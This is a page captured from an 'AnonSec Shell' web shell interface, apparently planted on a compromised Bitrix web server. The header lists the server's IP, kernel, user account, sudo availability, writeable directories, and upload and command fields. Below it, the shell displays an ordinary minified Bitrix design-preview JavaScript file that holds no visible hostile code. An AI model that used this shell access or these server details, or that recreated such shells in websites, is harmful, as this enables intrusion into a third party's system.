AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.221.76.65
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/landing/settingsform/designpreview/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/landing/settingsform/designpreview/dist/designpreview.bundle.min.js
this.BX=this.BX||{};this.BX.Landing=this.BX.Landing||{};(function(t,e,o){"use strict";var n=function(){function t(e){babelHelpers.classCallCheck(this,t);this.node=e;return this}babelHelpers.createClass(t,[{key:"setParent",value:function t(e){this.parent=e;return this}},{key:"setDefaultValue",value:function t(e){this.defaultValue=e;return this}},{key:"setChangeHandler",value:function t(o){e.Event.bind(this.node,"change",o)}},{key:"setClickHandler",value:function t(o){e.Event.bind(this.node,"click",o)}},{key:"getValue",value:function t(){return this.parent&&this.parent.getValue()!==true?this.defaultValue:this.getValueInternal()}},{key:"getValueInternal",value:function t(){return this.node}}]);return t}();var i,s;var r=function(t){babelHelpers.inherits(r,t);function r(t){var e;var o;var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};var i=arguments.length>2&&arguments[2]!==undefined?arguments[2]:{};var s=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;babelHelpers.classCallCheck(this,r);o=babelHelpers.possibleConstructorReturn(this,babelHelpers.getPrototypeOf(r).call(this));o.setEventNamespace("BX.Landing.SettingsForm.DesignPreview");o.form=t;o.phrase=i;o.id=s;o.options=n;window.fontsProxyUrl=(e=window.fontsProxyUrl)!==null&&e!==void 0?e:"fonts.googleapis.com";o.initControls();o.initLayout();o.applyStyles();o.onApplyStyles=o.applyStyles.bind(babelHelpers.assertThisInitialized(o));return o}babelHelpers.createClass(r,[{key:"initLayout",value:function t(){var o=this;this.createLayout();this.styleNode=document.createElement("style");e.Dom.append(this.styleNode,this.layout);e.Dom.append(this.layout,this.form);var n={threshold:1};var i=new IntersectionObserver((function(t){t.forEach((function(t){var e=document.documentElement.clientHeight-r.HEIGHT_PAGE_TITLE_WRAP;if(t.target.getBoundingClientRect().height<=e){o.toggleIntersectionState(t)}}))}),n);i.observe(this.layoutContent.parentNode)}},{key:"toggleIntersectionState",value:function t(e){if(e.isIntersecting){if(!("defaultIntersecting"in this)){this.defaultIntersecting=true}if(this.defaultIntersecting){this.unFixElement()}}else{if(!("defaultIntersecting"in this)){this.defaultIntersecting=false}if(this.defaultIntersecting){this.fixElement()}}}},{key:"initControls",value:function t(){this.controls={};this.initOptions();var o=Object.keys(this.controls);for(var n=0,i=o;n<i.length;n++){var s=i[n];if(!(s in this.controls)){continue}var r=Object.keys(this.controls[s]);for(var l=0,a=r;l<a.length;l++){var c=a[l];if(!(c in this.controls[s])){continue}if(c!=="use"&&this.controls[s].use){this.setupControls(s,c)}}}this.initSubscribes();this.panel=BX.Landing.UI.Panel.GoogleFonts.getInstance();e.Dom.append(this.panel.layout,document.body);this.setupFontFields()}},{key:"initOptions",value:function t(){var e=Object.keys(this.options);for(var o=0,i=e;o<i.length;o++){var s=i[o];if(!(s in this.options)){continue}var r=Object.keys(this.options[s]);for(var l=0,a=r;l<a.length;l++){var c=a[l];if(!(c in this.options[s])){continue}if(!this.controls[s]){this.controls[s]={}}var h=new n(this.options[s][c].control);this.initControlHandlers(h,s,c);this.controls[s][c]=h}}}},{key:"initControlHandlers",value:function t(o,n,i){o.setChangeHandler(this.applyStyles.bind(this));if(o.node&&i==="use"){e.Event.bind(o.node.parentNode,"click",this.onCheckboxClick.bind(this,n))}if(n==="theme"&&i!=="use"){o.setClickHandler(this.applyStyles.bind(this))}if(n==="background"&&i==="field"){o.setClickHandler(this.applyStyles.bind(this))}}},{key:"setupControls",value:function t(e,o){this.controls[e][o].setParent(this.controls[e].use);if(this.options[e][o].defaultValue){this.controls[e][o].setDefaultValue(this.options[e][o].defaultValue)}}},{key:"initSubscribes",value:function t(){if(this.controls.theme.corporateColor.node){this.controls.theme.corporateColor.node.subscribe("onSelectCustomColor",this.applyStyles.bind(this))}if(this.controls.background.image.node){this.controls.background.image.node.subscribe("change",this.onApplyStyles.bind(this))}if(this.controls.typo.textColor.node){o.EventEmitter.subscribe(this.controls.typo.textColor.node,"BX.Landing.ColorPicker:onSelectColor",this.onApplyStyles.bind(this));o.EventEmitter.subscribe(this.controls.typo.textColor.node,"BX.Landing.ColorPicker:onClearColorPicker",this.onApplyStyles.bind(this))}if(this.controls.typo.hColor.node){o.EventEmitter.subscribe(this.controls.typo.hColor.node,"BX.Landing.ColorPicker:onSelectColor",this.onApplyStyles.bind(this));o.EventEmitter.subscribe(this.controls.typo.hColor.node,"BX.Landing.ColorPicker:onClearColorPicker",this.onApplyStyles.bind(this))}if(this.controls.background.color.node){o.EventEmitter.subscribe(this.controls.background.color.node,"BX.Landing.ColorPicker:onSelectColor",this.onApplyStyles.bind(this));o.EventEmitter.subscribe(this.controls.background.color.node,"BX.Landing.ColorPicker:onClearColorPicker",this.onApplyStyles.bind(this))}}},{key:"setupFontFields",value:function t(){if(this.controls.typo.textFont.node&&this.controls.typo.hFont.node){this.controls.typo.textFont.node.setAttribute("value",this.convertFont(this.controls.typo.textFont.node.value));this.controls.typo.hFont.node.setAttribute("value",this.convertFont(this.controls.typo.hFont.node.value));e.Event.bind(this.controls.typo.textFont.node,"click",this.onCodeClick.bind(this));e.Event.bind(this.controls.typo.hFont.node,"click",this.onCodeClick.bind(this))}}},{key:"onCodeClick",value:function t(e){var o=this;this.panel.show({hideOverlay:true,context:window}).then((function(t){var n=e.target;n.setAttribute("value",t.family);o.onApplyStyles()}))["catch"]((function(t){console.error(t)}))}},{key:"onApplyStyles",value:function t(){this.applyStyles()}},{key:"applyStyles",value:function t(){var e=this;this.styleNode.innerHTML=this.generateCss();setTimeout((function(){var t=parseInt(window.getComputedStyle(e.layoutContent.parentNode).height,10);var o=parseInt(window.getComputedStyle(e.form).height,10);if(t>o){t+=20;BX.Dom.style(e.form,"min-height","".concat(t,"px"));var n=e.form.querySelector(".ui-form-section");if(n){BX.Dom.style(n,"min-height","".concat(t,"px"))}}}),1e3)}},{key:"onCheckboxClick",value:function t(e){this.controls[e].use.node.check=!this.controls[e].use.node.checked;this.applyStyles()}},{key:"generateSelectorStart",value:function t(e){return"#".concat(e," {")}},{key:"generateSelectorEnd",value:function t(e){return"".concat(e," }")}},{key:"getCSSPart1",value:function t(o){var n="";var i=this.controls.theme.baseColors.node;var s="";if(this.controls.theme.corporateColor.node){s=this.controls.theme.corporateColor.node.element}var r="";if(i){r=i.querySelector(".active")}var l="";if(s){l=e.Dom.hasClass(s,"active")}if(r){n=r.dataset.value}if(l){n=s.dataset.value}if(this.controls.theme.use.node&&this.controls.theme.use.node.check===false){n=this.controls.theme.corporateColor.defaultValue}var a=o;if(n){if(n[0]!=="#"){n="#".concat(n)}a+="--design-preview-primary: ".concat(n,";")}return a}},{key:"getCSSPart2",value:function t(e){var o=this.getControlValue(this.controls.typo.textColor.node,this.controls.typo.textColor.node.input.value);var n=this.getControlValue(this.controls.typo.textFont.node,this.controls.typo.textFont.node.value);var i=this.getControlValue(this.controls.typo.hFont.node,this.controls.typo.hFont.node.value);var s=this.getControlValue(this.controls.typo.textWeight.node,this.controls.typo.textWeight.node.value);var l=this.getControlValue(this.controls.typo.textLineHeight.node,this.controls.typo.textLineHeight.node.value);var a=this.getControlValue(this.controls.typo.hColor.node,this.controls.typo.hColor.node.input.value);var c=this.getControlValue(this.controls.typo.hWeight.node,this.controls.typo.hWeight.node.value);var h="";if(this.controls.typo.textSize.node){h="".concat(Math.round(this.controls.typo.textSize.node.value*r.DEFAULT_FONT_SIZE),"px")}if(this.controls.typo.use.node&&this.controls.typo.use.node.check===false){o=this.controls.typo.textColor.defaultValue;n=this.controls.typo.textFont.defaultValue;i=this.controls.typo.hFont.defaultValue;h="".concat(Math.round(this.controls.typo.textSize.defaultValue*r.DEFAULT_FONT_SIZE),"px");s=this.controls.typo.textWeight.defaultValue;l=this.controls.typo.textLineHeight.defaultValue;a=this.controls.typo.hColor.defaultValue;c=this.controls.typo.hWeight.defaultValue}this.appendFontLinks(n);this.appendFontLinks(i);var u=e;u+="--design-preview-color: ".concat(o,";");u+="--design-preview-font-theme: ".concat(n,";");u+="--design-preview-font-size: ".concat(h,";");u+="--design-preview-font-weight: ".concat(s,";");u+="--design-preview-line-height: ".concat(l,";");if(a){u+="--design-preview-color-h: ".concat(a,";")}else{u+="--design-preview-color-h: ".concat(o,";")}if(c){u+="--design-preview-font-weight-h: ".concat(c,";")}else{u+="--design-preview-font-weight-h: ".concat(s,";")}if(this.controls.typo.hFont.node){u+="--design-preview-font-h-theme: ".concat(i,";")}else{u+="--design-preview-font-h-theme: ".concat(n,";")}return u}},{key:"createFontLink",value:function t(e){var o=document.createElement("link");o.rel="stylesheet";o.href="https://".concat(window.fontsProxyUrl,"/css2?family=");o.href+=e.replace(" ","+");o.href+=":wght@100;200;300;400;500;600;700;800;900";return o}},{key:"getControlValue",value:function t(e,o){if(e){return o}return""}},{key:"appendFontLinks",value:function t(o){if(o){e.Dom.append(this.createFontLink(o),this.form)}}},{key:"getCSSPart3",value:function t(e){var o=e;var n=this.controls.background.color.node.input.value;var i=this.controls.background.field.node;var s=i.getElementsByClassName("landing-ui-field-image-hidden");var r=s[0].getAttribute("src");var l=this.controls.background.position.node.value;if(this.controls.background.use.node.check===true){o+="--design-preview-bg: ".concat(n,";")}else{r="";if(this.controls.background.useSite&&this.controls.background.useSite.defaultValue==="Y"){n=this.controls.background.color.defaultValue;r=this.controls.background.field.defaultValue;l=this.controls.background.position.defaultValue;o+="--design-preview-bg: ".concat(n,";")}}if(this.controls.background.position){if(l==="center"){o+="background-image: url(".concat(r,");");o+="background-attachment: scroll;";o+="background-position: center;";o+="background-repeat: no-repeat;";o+="background-size: cover;"}if(l==="repeat"){o+="background-image: url(".concat(r,");");o+="background-attachment: scroll;";o+="background-position: center;";o+="background-repeat: repeat;";o+="background-size: 50%;"}if(l==="center_repeat_y"){o+="background-image: url(".concat(r,");");o+="background-attachment: scroll;";o+="background-position: top;";o+="background-repeat: repeat-y;";o+="background-size: 100%;"}}return o}},{key:"generateCss",value:function t(){var e=this.generateSelectorStart(this.id);e=this.getCSSPart1(e);e=this.getCSSPart2(e);e=this.getCSSPart3(e);e=this.generateSelectorEnd(e);return e}},{key:"createLayout",value:function t(){this.layout=e.Tag.render(i||(i=babelHelpers.taggedTemplateLiteral(['<div class="landing-design-preview-wrap"></div>'])));this.layoutContent=e.Tag.render(s||(s=babelHelpers.taggedTemplateLiteral(['<div id="','" class="landing-design-preview"><h2 class="landing-design-preview-title">','</h2><h4 class="landing-design-preview-subtitle">','</h4><p class="landing-design-preview-text">','</p><p class="landing-design-preview-text">','</p><div class=""><a class="landing-design-preview-button">',"</a></div></div>"])),this.id,this.phrase.title,this.phrase.subtitle,this.phrase.text1,this.phrase.text2,this.phrase.button);e.Dom.append(this.layoutContent,this.layout)}},{key:"fixElement",value:function t(){var e=this.layoutContent.parentNode;var o=e.getBoundingClientRect();var n=20;var i=o.width-n*2;var s=e.parentNode;var r=s.getBoundingClientRect();var l=this.layoutContent.getBoundingClientRect();var a=document.body.clientWidth;var c=20;var h=a-r.right+c;if(r.height>l.height){var u="position: fixed; ";u+="top: 20px; ";u+="margin-top: 0; ";u+="right: ".concat(h,"px;");u+="max-width: ".concat(i,"px;");this.layoutContent.setAttribute("style",u)}}},{key:"unFixElement",value:function t(){this.layoutContent.setAttribute("style","")}},{key:"convertFont",value:function t(e){var t=e;t=t.replace("g-font-","").replaceAll("-"," ").replace("ibm ","IBM ").replace("pt ","PT ").replace(/sc(?![a-z])/i,"SC").replace(/jp(?![a-z])/i,"JP").replace(/kr(?![a-z])/i,"KR").replace(/tc(?![a-z])/i,"TC").replaceAll(/(^|\s)\S/g,(function(t){return t.toUpperCase()}));return t}}]);return r}(o.EventEmitter);babelHelpers.defineProperty(r,"DEFAULT_FONT_SIZE",14);babelHelpers.defineProperty(r,"HEIGHT_PAGE_TITLE_WRAP",74);t.DesignPreview=r})(this.BX.Landing.SettingsForm=this.BX.Landing.SettingsForm||{},BX,BX.Event);
//# sourceMappingURL=designpreview.bundle.map.js

Anon7 - 2022
AnonSec Team